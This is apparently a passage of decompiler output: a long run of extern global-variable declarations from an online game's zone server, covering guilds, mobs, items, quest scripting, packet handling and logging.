weak extern __int16 word_5DB744; // weak extern char aCharactertitle[23]; // weak extern char aActi[4]; // weak extern int dword_5DB764; // weak extern int dword_5DB768; // weak extern void *off_5DB76C; // weak extern char aAbst[4]; // weak extern int dword_5DB774; // weak extern void *off_5DB778; // weak extern char szSeprator[]; // idb extern int (__thiscall *CQuestParserScript::_vftable_)(CQuestParserScript *this, int pCmd); // weak extern int (__thiscall *CMD5Checksum::_vftable_)(void *p, char); // weak extern char a0X[4]; // weak extern char a00[3]; // idb extern int (__thiscall *std::logic_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::length_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::out_of_range::_vftable_)(void *p, char); // weak extern char aInvalidStringP[]; // idb extern char aStringTooLong[]; // idb extern int (__thiscall *std::locale::facet::_vftable_)(void *p, char); // weak extern const __int32 std::_BADOFF; // weak extern int (__thiscall *std::runtime_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::ios_base::failure::_vftable_)(void *p, char); // weak extern int (__thiscall *std::bad_alloc::_vftable_)(void *p, char); // weak extern int (__thiscall *exception::_vftable_)(void *p, char); // weak extern int (__thiscall *bad_cast::_vftable_)(void *p, char); // weak extern _UNKNOWN __rtc_izz; // weak extern _UNKNOWN __rtc_tzz; // weak extern _s__ThrowInfo _TI3_AVlength_error_std__; // idb extern _s__ThrowInfo _TI3_AVout_of_range_std__; // idb extern _s__ThrowInfo _TI2_AVbad_cast__; // idb extern _s__ThrowInfo _TI2PAVInvalidPacketException_CPacket__; // idb extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern char serverindex[]; // idb extern unsigned __int8 DebugLogging::dl_ActivAll; // weak extern int g_BroadcastStackPoint; // weak extern BattleObjectGroup::BattleObjectStruct battleobjectstructclear; extern char *pw_IAmKing; // weak extern char byte_5F4A01; // weak extern char byte_5F4A02; // weak extern char byte_5F4A03; // weak extern char byte_5F4A04; // weak extern char byte_5F4A05; // weak extern char byte_5F4A06; // weak extern char byte_5F4A07; // weak extern char byte_5F4A08; // weak extern char byte_5F4A09; // weak extern char byte_5F4A0A; // weak extern char *pw_ObeyMyOrder; // weak extern char byte_5F4A21; // weak extern char byte_5F4A22; // weak extern char byte_5F4A23; // weak extern char byte_5F4A24; // weak extern char byte_5F4A25; // weak extern char byte_5F4A26; // weak extern char byte_5F4A27; // weak extern char byte_5F4A28; // weak extern char byte_5F4A29; // weak extern char byte_5F4A2A; // weak extern char byte_5F4A2B; // weak extern char byte_5F4A2C; // weak extern char byte_5F4A2D; // weak extern char byte_5F4A2E; // weak extern char *pw_OrYouDead; // weak extern char byte_5F4A41; // weak extern char byte_5F4A42; // weak extern char byte_5F4A43; // weak extern char byte_5F4A44; // weak extern char byte_5F4A45; // weak extern char byte_5F4A46; // weak extern char byte_5F4A47; // weak extern char byte_5F4A48; // weak extern char byte_5F4A49; // weak extern char byte_5F4A4A; // weak extern char byte_5F4A4B; // weak extern char byte_5F4A4C; // weak extern char byte_5F4A4D; // weak extern char byte_5F4A4E; // weak extern char byte_5F4A4F; // weak extern char byte_5F4A50; // weak extern char *pw_TurtleStep; // weak extern char byte_5F4A61; // weak extern char byte_5F4A62; // weak extern char byte_5F4A63; // weak extern char byte_5F4A64; // weak extern char byte_5F4A65; // weak extern char byte_5F4A66; // weak extern char byte_5F4A67; // weak extern char byte_5F4A68; // weak extern char byte_5F4A69; // weak extern char byte_5F4A6A; // weak extern char byte_5F4A6B; // weak extern char byte_5F4A6C; // weak extern char *pw_SkyDiving; // weak extern char byte_5F4A81; // weak extern char byte_5F4A82; // weak extern char byte_5F4A83; // weak extern char byte_5F4A84; // weak extern char byte_5F4A85; // weak extern char byte_5F4A86; // weak extern char byte_5F4A87; // weak extern char byte_5F4A88; // weak extern char byte_5F4A89; // weak extern char byte_5F4A8A; // weak extern char byte_5F4A8B; // weak extern char byte_5F4A8C; // weak extern char *pw_Crown; // weak extern char byte_5F4AA1; // weak extern char byte_5F4AA2; // weak extern char byte_5F4AA3; // weak extern char byte_5F4AA4; // weak extern char byte_5F4AA5; // weak extern char byte_5F4AA6; // weak extern char byte_5F4AA7; // weak extern char byte_5F4AA8; // weak extern char DuplicatedMenuControl::dmc_Table[]; // weak extern int objtype[10]; extern GuildWarManager gldwarman; // idb extern PartyExperienceBonusDouble pebd; // idb extern int (__stdcall **InventoryLocking::InventoryCellLockList::icll_Releaser_None)(int, int lc, char inchest); // weak extern int sec[5]; extern unsigned __int16 notfound[4]; extern unsigned __int16 notempty[4]; extern int (__stdcall **mobexplosebase)(int mob, int); // weak extern unsigned __int8 g_NewBlockRule; // weak extern int (__stdcall *(*MobTacticElement::MobActionArgument::Actor::base)[2])(int argument); // weak extern PROTOCOLFUNCTIONTEMPLETE gdsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE shineprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE glsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE optsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE wldmanprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE zlsprotofunc; // idb extern int (__stdcall *(*sysfuncbase[2])[26])(int buffer, int ps, int argumentlist); // weak extern EngNormAtt engnormatt; // idb extern int (__stdcall **ShineObjectClass::ShineObject::so_dummypacketcontainer)(int sklidx); // weak extern unsigned __int16 ridingskill; extern int (__stdcall **ui_base)(int, int itm); // weak extern PROTO_NC_MISC_HEARTBEAT_REQ_SEND req; extern SleepManager sleepmanager; // idb extern std::basic_string,std::allocator > NPCAction::ActionGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::CondGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::TriggerGen_OptionReader::tableName_; // idb extern _DWORD AccUpGradeInfoTable::Min_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Max_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Limit_Variables[12]; // idb extern std::basic_string,std::allocator > strDirPath; extern void *p; // idb extern _UNKNOWN unk_60332C; // weak extern _UNKNOWN unk_603330; // weak extern _DWORD LevelGap_Player_to_Player::DefLv[150]; // idb extern AssertClass shineassert; // idb extern _UNKNOWN ItemBag::ib_staticcell; // weak extern _UNKNOWN unk_6035FC; // weak extern _UNKNOWN unk_603600; // weak extern _UNKNOWN unk_603668; // weak extern int gbDMVCICOP; // idb extern int pCslParameterSize[19]; extern char *pCslParameter[19]; extern char *pCslCmd[10]; extern char *pCslRemarks[7]; extern int g_nAllocBuffer; extern _BYTE PacketEncrypt::pe_encryptstr[504]; // idb extern const char *gpQSC[32]; extern const char *gpQSV[8]; extern const char *gpQSAE[6]; extern const char *gpQST[2]; extern const char *gpQSIL[1]; extern char PADDING[64]; extern unsigned int atcount; extern _UNKNOWN __security_cookie; // weak extern _UNKNOWN __lconv; // weak extern unsigned __int16 *_pctype; extern void (__cdecl *__pInconsistency)(); // weak extern __int64 half; extern FpFormatDescriptor DoubleFormat; extern FpFormatDescriptor FloatFormat; extern _UNKNOWN g_NewAbstateStrength; // weak extern _UNKNOWN abstateidentarray; // weak extern _UNKNOWN unk_604F0C; // weak extern _UNKNOWN unk_604F10; // weak extern _UNKNOWN unk_604F12; // weak extern ClearStateBit clearabstate; extern AbnormalStateContainer::ActorCluster actorcluster; // idb extern AbnormalStateContainer::AbnormalStateList abstatetemplate; // idb extern _UNKNOWN unk_607E88; // weak extern _UNKNOWN unk_607E8C; // weak extern AbnormalStateDictionary::AbState dic_abstate; // idb extern _UNKNOWN unk_607FFC; // weak extern _UNKNOWN unk_608004; // weak extern _DWORD dword_608008[288]; // idb extern _UNKNOWN unk_608488; // weak extern _UNKNOWN unk_608490; // weak extern _UNKNOWN unk_608494; // weak extern _DWORD *dword_60849C[2]; // idb extern _DWORD *dword_6084A4[50]; // idb extern BTree unk_608624; // idb extern BTree unk_608A28; // idb extern AbnormalStateDictionary::SubAbState dic_subabstate; // idb extern AbnormalStateShelter::AbstateShelter g_AbstateShelter; // idb extern DebugLogging AmpersandCommandLog; // idb extern _UNKNOWN unk_608FD8; // weak extern _UNKNOWN unk_60915C; // weak extern AmpersandCommand ampcmd; extern AttackRhythm::AttackRhythm_Range attrhythm_range; // idb extern AttackRhythm::AttackRhythm_Melee attrhythm_melee; // idb extern AttackRhythm::AttackRhythm_Mob attrhythm_mob; // idb extern CharModeClassifier cmc; extern unsigned int _S6_58; extern CharModeClassifier cmc_0; extern unsigned int _S8_11; extern CharModeClassifier cmc_1; extern unsigned int _S10_2; extern CharModeClassifier cmc_2; extern unsigned int _S14_3; extern CharModeClassifier cmc_3; extern unsigned int _S18_13; extern CharModeClassifier cmc_4; extern unsigned int _S4_0; extern CharModeClassifier cmc_5; extern unsigned int _S12_18; extern CharModeClassifier cmc_6; extern unsigned int _S16_1; extern _UNKNOWN skilltargeterr; // weak extern SkillEffectApply::SkillBlastEffectContainer skilleffectapplyer; // idb extern BattleObjectGroup::BattleObjectList btlobjlist; // idb extern SkillEffectApply::SkillDamageSender skilldamagesender; // idb extern BlockDistribute::BlockingDistributeList g_BlockingDistributeList; extern BlockDistribute::BlockDistributeManager blockdistmanager; // idb extern unsigned int sightsquar; extern unsigned __int8 pw_Init; // weak extern unsigned __int16 ShineObjectClass::ShinePlayer::sp_Turtle; // weak extern BriefInfoExchanger::BriefInfoExchangeMob briefmob; // idb extern BriefInfoExchanger::BriefInfoExchangeMiniHouse briefminihouse; // idb extern BriefInfoExchanger::BriefInfoExchangeMagicField briefmagfld; // idb extern BriefInfoExchanger::BriefInfoExchangeEffect briefeffect; // idb extern BriefInfoExchanger::BriefInfoExchangeCharacter briefchar; // idb extern BriefInfoExchanger::BriefInfoExchangeDoor briefdoor; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_char; // idb extern CalculateBroadcastDistance broadcastdistance; extern BriefInformationAbstate briefInformationAbstate; // idb extern BriefInfoExchanger::BriefInfoExchangeItem briefitem; // idb extern BriefInfoDelete briefinfodelete; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_mob; // idb extern CharModeClassifier cmc_7; extern unsigned int _S43; extern Name3 urg; extern Name3 eld; extern Name3 rou; extern CharModeClassifier cmc_8; extern unsigned int _S45_5; extern MobAttackSequence::AttackElement4Mob key; extern int _local_static_guard_; // weak extern CharModeClassifier cmc_9; extern unsigned int _S50_3; extern CharModeClassifier cmc_10; extern unsigned int _S41_2; extern PassiveMasteryVariable pmv; // idb extern CharClassManager charclassmanager; // idb extern DebugLogging RegistNumberLog; extern unsigned int _S4_1; extern CharModeClassifier cmc_11; extern unsigned int _S6_59; extern DataFromOtherMachineList listofdatafromothermachine; // idb extern ChargedItemEffectDataBox ridedatabox; // idb extern ChargedItemEffectDataBox minihousedatabox; // idb extern ChargedItemEffectDataBox minihousefurnituredatabox; // idb extern ChargedItemEffectDataBox chargedbuffdatabox; // idb extern ShineDateTime chargeditemcheck; // idb extern struct tm stru_7BC0CC; // idb extern char byte_7BC0F0; // weak extern char byte_7BC0F1; // weak extern struct tm timefromworld; // idb extern __int32 diffence2world; // weak extern int newseed; extern CharModeClassifier cmc_12; extern unsigned int _S4_2; extern CharModeClassifier cmc_13; extern unsigned int _S8_12; extern CharModeClassifier cmc_14; extern unsigned int _S6_60; extern DebugLogging SkillCoolTimeLog; // idb extern WholeSaver wholesaver; // idb extern CharModeClassifier cmc_15; extern unsigned int _S4_3; extern CharModeClassifier cmc_16; extern unsigned int _S6_61; extern CharModeClassifier cmc_17; extern unsigned int _S8_13; extern CharModeClassifier cmc_18; extern unsigned int _S10_3; extern CharModeClassifier cmc_19; extern unsigned int _S12_19; extern CharModeClassifier cmc_20; extern unsigned int _S14_4; extern CharModeClassifier cmc_21; extern unsigned int _S16_2; extern CharModeClassifier cmc_22; extern unsigned int _S18_14; extern CharModeClassifier cmc_23; extern unsigned int _S20_3; extern CharModeClassifier cmc_24; extern unsigned int _S22_1; extern CharModeClassifier cmc_25; extern unsigned int _S24_8; extern CharModeClassifier cmc_26; extern unsigned int _S26_2; extern CharModeClassifier cmc_27; extern unsigned int _S28_1; extern CharModeClassifier cmc_28; extern unsigned int _S30_7; extern ZoneListenSession zonelisten; // idb extern DamageByAngle::DamageTable damagebyangle_Ply; // idb extern DamageByAngle::DamageTable damagebyangle_Mob; // idb extern CharModeClassifier cmc_29; extern unsigned int _S10_4; extern DefSkillData defskill; // idb extern DebugLogging MoverErrorLog; // idb extern DirectDistanceTable ddt; // idb extern DropItemAnalyzer dropitemanalyzer; // idb extern DropLocationManager droplocman; // idb extern EquipEnumChanger equipman; // idb extern BTree fieldserial; // idb extern List fieldlist; // idb extern FieldOption this; // idb extern int dword_C35A310; // weak extern int dword_C35A314; // weak extern MapRearrangeObserver maprearrangeobserver; // idb extern union Name3 FieldMap::fm_MiniHouseInteriorMap; // weak extern int dword_C35B530; // weak extern int dword_C35B534; // weak extern Name3 rouname; extern FILE *FunctionProfiler::FunctionPerformance::fp_ProfileFile; // idb extern LARGE_INTEGER FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency; // idb extern FunctionProfiler::PerformanceRecorder _PerformanceRecorder; // idb extern FunctionCallingAnalyzer funcallanalizer; // idb extern CharModeClassifier cmc_30; extern unsigned int _S12_20; extern CharModeClassifier cmc_31; extern unsigned int _S14_5; extern CharModeClassifier cmc_32; extern unsigned int _S16_3; extern CharModeClassifier cmc_33; extern unsigned int _S18_15; extern CharModeClassifier cmc_34; extern unsigned int _S20_4; extern CharModeClassifier cmc_35; extern unsigned int _S10_5; extern GatherProduce::GatherTable gathertable; // idb extern GatherProduce::RecipeBook recipebook; // idb extern CharModeClassifier cmc_36; extern unsigned int _S4_4; extern CharModeClassifier cmc_37; extern unsigned int _S6_62; extern GuildAcademyRewardStorage::GuildAcademyRewardStorageManager gldacademyrewardstoramanager; // idb extern CharModeClassifier cmc_38; extern unsigned int _S10_6; extern CharModeClassifier cmc_39; extern unsigned int _S12_21; extern CharModeClassifier cmc_40; extern unsigned int _S16_4; extern CharModeClassifier cmc_41; extern unsigned int _S14_6; extern MemoryQueue queue_GuildReName; // idb extern MemoryQueue queue_GuildReType; // idb extern GuildStorage::GuildStorageManager gldstoramanager; // idb extern struct __unnamed *GTMap; // weak extern char byte_C88F321[8]; // idb extern _UNKNOWN unk_C88F329; // weak extern char byte_C88F32D; // weak extern char dword_C88F32E[]; // idb extern int dword_C88F332; // weak extern int dword_C88F336; // weak extern char byte_C88F33A; // weak extern char dword_C88F33B[]; // idb extern int dword_C88F33F; // weak extern int dword_C88F343; // weak extern char byte_C88F347; // weak extern char dword_C88F348[]; // idb extern int dword_C88F34C; // weak extern int dword_C88F350; // weak extern char byte_C88F354; // weak extern char dword_C88F355[]; // idb extern int dword_C88F359; // weak extern int dword_C88F35D; // weak extern char byte_C88F361; // weak extern char dword_C88F362[]; // idb extern int dword_C88F366; // weak extern int dword_C88F36A; // weak extern char byte_C88F36E; // weak extern char dword_C88F36F[]; // idb extern int dword_C88F373; // weak extern int dword_C88F377; // weak extern char byte_C88F37B; // weak extern char dword_C88F37C[]; // idb extern int dword_C88F380; // weak extern int dword_C88F384; // weak extern char byte_C88F388; // weak extern char dword_C88F389[]; // idb extern int dword_C88F38D; // weak extern int dword_C88F391; // weak extern char byte_C88F395; // weak extern char dword_C88F396[]; // idb extern int dword_C88F39A; // weak extern int dword_C88F39E; // weak extern char byte_C88F3A2; // weak extern char dword_C88F3A3[]; // idb extern int dword_C88F3A7; // weak extern int dword_C88F3AB; // weak extern char byte_C88F3AF; // weak extern char dword_C88F3B0[]; // idb extern int dword_C88F3B4; // weak extern int dword_C88F3B8; // weak extern char byte_C88F3BC; // weak extern char dword_C88F3BD[]; // idb extern int dword_C88F3C1; // weak extern int dword_C88F3C5; // weak extern char byte_C88F3C9; // weak extern char dword_C88F3CA[]; // idb extern int dword_C88F3CE; // weak extern int dword_C88F3D2; // weak extern char byte_C88F3D6; // weak extern char dword_C88F3D7[]; // idb extern int dword_C88F3DB; // weak extern int dword_C88F3DF; // weak extern char byte_C88F3E3; // weak extern char dword_C88F3E4[]; // idb extern int dword_C88F3E8; // weak extern int dword_C88F3EC; // weak extern char byte_C88F3F0; // weak extern char dword_C88F3F1[]; // idb extern int dword_C88F3F5; // weak extern int dword_C88F3F9; // weak extern char byte_C88F3FD; // weak extern char dword_C88F3FE[]; // idb extern int dword_C88F402; // weak extern int dword_C88F406; // weak extern char byte_C88F40A; // weak extern char dword_C88F40B[]; // idb extern int dword_C88F40F; // weak extern int dword_C88F413; // weak extern char byte_C88F417; // weak extern char dword_C88F418[]; // idb extern int dword_C88F41C; // weak extern int dword_C88F420; // weak extern char byte_C88F424; // weak extern char dword_C88F425[]; // idb extern int dword_C88F429; // weak extern int dword_C88F42D; // weak extern char byte_C88F431; // weak extern char dword_C88F432[]; // idb extern int dword_C88F436; // weak extern int dword_C88F43A; // weak extern char byte_C88F43E; // weak extern char dword_C88F43F[]; // idb extern int dword_C88F443; // weak extern int dword_C88F447; // weak extern char byte_C88F44B; // weak extern char dword_C88F44C[]; // idb extern int dword_C88F450; // weak extern int dword_C88F454; // weak extern char byte_C88F458; // weak extern char dword_C88F459[]; // idb extern int dword_C88F45D; // weak extern int dword_C88F461; // weak extern char byte_C88F465; // weak extern char dword_C88F466[]; // idb extern int dword_C88F46A; // weak extern int dword_C88F46E; // weak extern char byte_C88F472; // weak extern char dword_C88F473[]; // idb extern int dword_C88F477; // weak extern int dword_C88F47B; // weak extern char byte_C88F47F; // weak extern char dword_C88F480[]; // idb extern int dword_C88F484; // weak extern int dword_C88F488; // weak extern char byte_C88F48C; // weak extern char dword_C88F48D[]; // idb extern int dword_C88F491; // weak extern int dword_C88F495; // weak extern char byte_C88F499; // weak extern char dword_C88F49A[]; // idb extern int dword_C88F49E; // weak extern int dword_C88F4A2; // weak extern char byte_C88F4A6; // weak extern char dword_C88F4A7[]; // idb extern int dword_C88F4AB; // weak extern int dword_C88F4AF; // weak extern char byte_C88F4B3; // weak extern char dword_C88F4B4[]; // idb extern int dword_C88F4B8; // weak extern int dword_C88F4BC; // weak extern GuildTouramentLoginDataInfo guildtournamentinfo; // idb extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern std::map,std::allocator > > GuildTournamentSystem::sm_mapGuildMemberGrades; // idb extern PowedNumber powed; extern unsigned int _S10_8; extern LevelHandicap4ExperienceDouble lh4ed; // idb extern HolyPromiseCenTransferManager hpctmanager; extern MemoryQueue queue_cenuse; // idb extern ItemLotAnalyser::LotAnalyser itemlotanalyser; extern InventoryLocking::InvenCellReleaser_QuestReward InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc; // idb extern InventoryLocking::InvenCellReleaser_LinkInfo InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; // idb extern InventoryLocking::InvenCellReleaser_CellClear InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; // idb extern InventoryLocking::InvenCellReleaser_EquipLocation InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; // idb extern InventoryLocking::InvenCellReleaser_FurnitureCellClear InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; // idb extern InventoryLocking::InvenCellReleaser_FurnitureReloc InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear; // idb extern InventoryLocking::InvenCellReleaser_CellChangeSmall InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageChange InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CenChange InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; // idb extern InventoryLocking::InvenCellReleaser_ItemUse InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; // idb extern InventoryLocking::InvenCellReleaser_FameChange InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CellChange InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange; // idb extern InventoryLocking::InvenCellReleaser_PointStone InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; // idb extern ORToken dash; extern unsigned int _S14_7; extern ItemDropFromMob::DropIndexCluster dropindexcluster; // idb extern ItemDropFromMob::DropGroupCluster dropgroupcluster; // idb extern ItemGroupClassifier itemgroupclassifier; // idb extern CharModeClassifier cmc_43; extern unsigned int _S7_0; extern CharModeClassifier cmc_44; extern unsigned int _S9_34; extern ItemMall itemmall; // idb extern ItemRandomOption::RandomOptionTable itemrandomoptiontable; // idb extern ItemsInChest itemsinchest; // idb extern CharModeClassifier cmc_45; extern unsigned int _S21_9; extern Name3 nousemap; extern unsigned int _S12_22; extern KingdomQuestGate kqgate; // idb extern char KingSlime[16]; // idb extern KingdomQuest::KingdomQuestContainer kqcontainer; // idb extern KingdomQuestEntrance kqentrance; // idb extern DebugLogging KQEntryCheckLog; // idb extern std::vector > g_KQContributeList; // idb extern KQRewardDataBox kqreward; // idb extern char sublayerview[]; // weak extern char byte_CA62D2D[]; // weak extern char byte_CA62D2E[]; // weak extern char byte_CA62D2F[]; // weak extern char byte_CA62D30[]; // weak extern char byte_CA62D31[]; // weak extern SubLayer::SubLayerInteractLoader sublayerinteract; // idb extern char sublayerattack[]; // weak extern char byte_CA62D55[]; // weak extern char byte_CA62D56[]; // weak extern char byte_CA62D57[]; // weak extern char byte_CA62D58[]; // weak extern char byte_CA62D59[]; // weak extern ItemConversionMap itemconvmap; // idb extern OptionReader magiccontainer; // idb extern ItemUseFunction itemusefunction; // idb extern MapBlock::MapBlockInformationBox blockinfobox; // idb extern CFindWay findway; // idb extern CharModeClassifier cmc_46; extern unsigned int _S10_9; extern MapClusterManager::ClusterManager mapclustermanager; // idb extern TownPortalData townportaldata; // idb extern MiniHouseEndureDataBox minihouseenduredatabox; // idb extern MiniHouseObjAniDataBox minihouseobjanidatabox; // idb extern __int16 MiscDataTable::mdt_DefSkill; // weak extern __int16 word_CB4F862; // weak extern __int16 word_CB4F874; // weak extern char byte_CB4F876; // weak extern char byte_CB4F877; // weak extern int dword_CB4F878; // weak extern int dword_CB4F87C; // weak extern int dword_CB4F880; // weak extern int dword_CB4F884; // weak extern int dword_CB4F888; // weak extern int dword_CB4F88C; // weak extern int dword_CB4F890; // weak extern int dword_CB4F894; // weak extern int dword_CB4F898; // weak extern int dword_CB4F89C; // weak extern int dword_CB4F8A0; // weak extern int dword_CB4F8A4; // weak extern int dword_CB4F8A8; // weak extern int dword_CB4F8AC; // weak extern __int16 word_CB4F8B0; // weak extern int dword_CB4F8B4; // weak extern char byte_CB4F8B8; // weak extern int dword_CB4F8BC; // weak extern int dword_CB4F8C8; // weak extern __int16 word_CB4F8CC; // weak extern __int16 MiscDataTable::mdt_DefAbState; // weak extern char byte_CB4F8D6; // weak extern int dword_CB4F8D8; // weak extern int dword_CB4F8DC; // weak extern MobExplosionElement::MobExplosionAlways mobexplosealways; // idb extern MobExplosionElement::MobExplosionEnemy mobexploseenemy; // idb extern MobExplosionElement::MobExplosionTarget mobexplosetarget; // idb extern MiscDataTable miscdatatable; // idb extern MobAttackSequence mobattseq; // idb extern MobTargetEraser mobtargeteraser; // idb extern MobChat::MobChatManager mobchatman; // idb extern MobHatchery *mobhatchery; // idb extern #440 *invaster; extern MobBreederStoreArgument mbsa; extern KQRegenTable kqregentable; // idb extern DebugLogging NPCDeadLog; // idb extern FamilyMobManagement::FamilyMobManager g_FamilyMobManager; // idb extern MobActionElement ShineObjectClass::ShineMob::defaction; // idb extern DebugLogging MobHatcheryLog; extern unsigned int mobregnum; extern MobRoaming::MobRoamingSet roamingpaths; // idb extern std::vector > mobinroam; // idb extern StaticVector pathbuffer; extern unsigned int _S28_2; extern MobTacticElement::MobActionNoBrain MobTacticElement::MobActionArgument::Actor::nobrain; // idb extern MobTacticElement::MobAction2Region MobTacticElement::MobActionArgument::Actor::toregion; // idb extern MobTacticElement::MobActionTargetting MobTacticElement::MobActionArgument::Actor::targetting; // idb extern Navigator::MapNavigator navi; extern MobTacticElement::MobActionRoaming MobTacticElement::MobActionArgument::Actor::roaming; // idb extern MobTacticElement::DuringReturn2Regen MobTacticElement::MobActionArgument::Actor::return2regen; // idb extern std::vector > Navigator::MapNavigator::nm_UnitPointList; // idb extern _DWORD *dword_CBCCFA4; // idb extern std::vector >::iterator Where; // idb extern _UNKNOWN unk_CBCCFAC; // weak extern ORToken guild; extern ORToken weapontitle; extern ORToken item; extern ORToken skill; extern ORToken weapon; extern ORToken soulstone; extern unsigned int _S12_23; extern CharModeClassifier cmc_47; extern unsigned int _S4_5; extern CharModeClassifier cmc_48; extern unsigned int _S6_63; extern CharModeClassifier cmc_49; extern unsigned int _S8_14; extern CharModeClassifier cmc_50; extern unsigned int _S10_10; extern NPCItemList::NPCItemListTable npcitemlist; // idb extern MerchantCityData merchantcity; // idb extern NPCRoleBase npcrolebase; // idb extern NPCManager npcmanager; // idb extern size_t unk_CBD0648; // idb extern OptionReader stru_CBD064C; // idb extern List optoollist; // idb extern ZoneListenSession optoolsock; // idb extern _UNKNOWN ExceptionLog; // weak extern int dword_CBE1250; // weak extern char byte_CBE13D4; // weak extern DebugLogging TooLongPacket; // idb extern ProtocolPacket gpp; // idb extern char buffer[8192]; extern __int16 word_CBE3671; // weak extern Parameter::Cluster parameter_eraser_rate; // idb extern Parameter::Cluster parameter_eraser_plus; // idb extern ShineCommonParameter shineparam; // idb extern PartyManufacture partymanufacture; // idb extern CParty partycontainer; // idb extern CharModeClassifier cmc_51; extern unsigned int _S3_41; extern unsigned int pathfindflag; extern JunctionPointContainer junctionpointlist; // idb extern LinearStep linestep; extern PathFindTable pathfindtable; extern CellStack cellstack; extern PerformanceChecker performancechech; // idb extern PineScriptToken deftkn; extern unsigned int _S90_1; extern int std::fpos::_Stz; // weak extern int std::_Facetptr>::_Psave; // weak extern int std::_Facetptr>>>::_Psave; // weak extern int std::_Facetptr>::_Psave; // weak extern unsigned int std::num_put>>::id; // idb extern PineEventScriptNode::SysFuncShineGetLoseGuild sysfuncshinegetloseGuild; // idb extern PineEventScriptNode::SysFuncShinePlayerInArea sysfuncshineplayerinarea; // idb extern PineEventScriptNode::SysFuncShineDeadNumber sysfuncshinedeadnum; // idb extern PineEventScriptNode::SysFuncShineGetObjectList sysfuncshinegetobjectlist; // idb extern PineScriptTracer::ScriptTracer scrpttrcr; // idb extern PineEventScriptNode::SysFuncShineKQTop sysfuncshinekqtoplist; // idb extern PineEventScriptNode::SysFuncRand sysfuncrand; // idb extern PineEventScriptNode::SysFuncShineDistance sysfuncshinedistance; // idb extern PineEventScriptNode::SysFuncShineCircularScatter sysfuncshinecircularlocate; // idb extern PineEventScriptNode::SysFuncShineGetWinnerGuild sysfuncshinegetwinnerguild; // idb extern PineEventScriptNode::SysFuncShineRemoveFisrt sysfuncshineremovefisrt; // idb extern MobTacticElement::MobActionArgument trc_eol; // idb extern PineEventScriptNode::SysFuncShineMobRegen sysfuncshinemobregen; // idb extern PineEventScriptNode::SysFuncShineChange2Door sysfuncshinechange2door; // idb extern PineEventScriptNode::SysFuncShineNPCStand sysfuncshinenpcstand; // idb extern PineEventScriptNode::SysFuncShineRestSecond sysfuncshinerestsec; // idb extern PineEventScriptNode::SysFuncShineCharClass sysfuncshinecharclass; // idb extern PineEventScriptNode::SysFuncSQRT sysfuncsqrt; // idb extern PineEventScriptNode::SysFuncShineRange sysfuncshinerange; // idb extern PineEventScriptNode::SysFuncShineChange2Mob sysfuncshinechange2mob; // idb extern PineEventScriptNode::SysFuncShineCount sysfuncshinecount; // idb extern PineEventScriptNode::SysFuncShineDoorBuild sysfuncshinedoorbuild; // idb extern PineEventScriptNode::SysFuncShineIsGateUse sysfuncshineisgateuse; // idb extern PineEventScriptNode::StatementList ps_statementlist; // idb extern PineEventScriptNode::SysFuncShineChange2NPC sysfuncshinechange2npc; // idb extern PineEventScriptNode::SysFuncShineKQResultList sysfuncshinekqresultlist; // idb extern PineEventScriptNode::SysFuncDistance sysfuncdistance; // idb extern PineEventScriptNode::SysFuncShineCharName sysfuncshinecharname; // idb extern unsigned int std::numpunct::id; // idb extern ScriptMobBreeder mobbreeder; extern DebugLogging KQRankingLog; // idb extern FILE *unk_12441EE0; // idb extern _UNKNOWN unk_12442064; // weak extern PineScriptMobRegenerator scriptmobregen; // idb extern PineScriptToken index_GuildTournamentStart; extern PineScriptToken index_sec; extern PineScriptToken index_kq; extern PineScriptToken index_me; extern PineScriptToken index_timeout; extern PineScriptToken index_npcclickany; extern 